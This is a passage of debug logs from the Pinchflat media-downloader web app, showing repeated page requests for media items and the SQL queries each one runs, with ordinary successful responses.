LIMIT 1 [] 15:42:03.634 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:03.635 [info] Sent 200 in 2ms 15:42:04.142 [info] GET /sources/3/media/6496 15:42:04.142 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6496", "source_id" => "3"} Pipelines: [:browser] 15:42:04.142 [debug] QUERY OK source="media_items" db=0.1ms queue=0.1ms idle=509.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6496] 15:42:04.142 [debug] QUERY OK source="sources" db=0.0ms idle=509.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:42:04.142 [debug] QUERY OK source="tasks" db=0.0ms idle=509.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6496] 15:42:04.143 [debug] QUERY OK source="settings" db=0.0ms idle=508.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:04.143 [debug] QUERY OK source="settings" db=0.1ms idle=376.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:04.143 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:04.143 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:04.144 [info] Sent 200 in 2ms 15:42:04.657 [info] GET /sources/2/media/6130 15:42:04.657 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6130", "source_id" => "2"} Pipelines: [:browser] 15:42:04.658 [debug] QUERY OK source="media_items" db=0.2ms idle=515.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6130] 15:42:04.658 [debug] QUERY OK source="tasks" db=0.1ms idle=515.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6130] 15:42:04.658 [debug] QUERY OK source="sources" db=0.1ms idle=514.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:42:04.658 [debug] QUERY OK source="settings" db=0.0ms idle=515.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:04.658 [debug] QUERY OK source="settings" db=0.0ms idle=514.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:04.659 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:04.659 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:04.659 [info] Sent 200 in 2ms 15:42:05.153 [info] GET /sources/3/media/6498 15:42:05.153 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6498", "source_id" => "3"} Pipelines: [:browser] 15:42:05.154 [debug] QUERY OK source="media_items" db=0.1ms idle=495.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6498] 15:42:05.154 [debug] QUERY OK source="tasks" db=0.2ms idle=495.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6498] 15:42:05.154 [debug] QUERY OK source="sources" db=0.3ms idle=495.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:42:05.155 [debug] QUERY OK source="settings" db=0.2ms idle=495.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:05.155 [debug] QUERY OK source="settings" db=0.0ms idle=387.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:05.155 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:05.155 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:05.156 [info] Sent 200 in 2ms 15:42:05.654 [info] GET /sources/2/media/6124 15:42:05.654 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6124", "source_id" => "2"} Pipelines: [:browser] 15:42:05.654 [debug] QUERY OK source="media_items" db=0.1ms idle=500.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6124] 15:42:05.654 [debug] QUERY OK source="tasks" db=0.0ms idle=499.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6124] 15:42:05.655 [debug] QUERY OK source="sources" db=0.0ms idle=499.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:42:05.655 [debug] QUERY OK source="settings" db=0.0ms idle=499.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:05.655 [debug] QUERY OK source="settings" db=0.0ms idle=499.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:05.655 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:05.655 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:05.656 [info] Sent 200 in 1ms 15:42:06.179 [info] GET /sources/2/media/6126 15:42:06.179 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6126", "source_id" => "2"} Pipelines: [:browser] 15:42:06.180 [debug] QUERY OK source="media_items" db=0.2ms idle=524.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6126] 15:42:06.180 [debug] QUERY OK source="tasks" db=0.0ms idle=524.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6126] 15:42:06.180 [debug] QUERY OK source="sources" db=0.1ms idle=524.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:42:06.180 [debug] QUERY OK source="settings" db=0.0ms idle=524.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:06.180 [debug] QUERY OK source="settings" db=0.0ms idle=412.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:06.180 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:06.181 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:06.181 [info] Sent 200 in 2ms 15:42:06.699 [info] GET /sources/2/media/6121 15:42:06.699 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6121", "source_id" => "2"} Pipelines: [:browser] 15:42:06.700 [debug] QUERY OK source="media_items" db=0.2ms idle=519.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6121] 15:42:06.700 [debug] QUERY OK source="tasks" db=0.0ms idle=519.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6121] 15:42:06.700 [debug] QUERY OK source="sources" db=0.2ms idle=519.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:42:06.700 [debug] QUERY OK source="settings" db=0.0ms idle=519.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:06.700 [debug] QUERY OK source="settings" db=0.0ms idle=519.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:06.701 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:06.701 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:06.702 [info] Sent 200 in 2ms 15:42:07.222 [info] GET /sources/1/media/6110 15:42:07.222 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6110", "source_id" => "1"} Pipelines: [:browser] 15:42:07.222 [debug] QUERY OK source="media_items" db=0.1ms idle=521.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6110] 15:42:07.223 [debug] QUERY OK source="tasks" db=0.0ms idle=522.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6110] 15:42:07.223 [debug] QUERY OK source="sources" db=0.1ms idle=521.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:42:07.223 [debug] QUERY OK source="settings" db=0.0ms idle=521.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:07.223 [debug] QUERY OK source="settings" db=0.0ms idle=454.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:07.223 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:07.223 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:07.224 [info] Sent 200 in 2ms 15:42:07.796 [info] GET /sources/1/media/6108 15:42:07.796 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6108", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 15:42:07.797 [debug] QUERY OK source="media_items" db=0.0ms idle=573.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6108] 15:42:07.797 [debug] QUERY OK source="tasks" db=0.0ms idle=573.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6108] 15:42:07.797 [debug] QUERY OK source="sources" db=0.0ms idle=573.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:42:07.797 [debug] QUERY OK source="settings" db=0.0ms idle=573.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:07.797 [debug] QUERY OK source="settings" db=0.0ms idle=27.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:07.797 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" 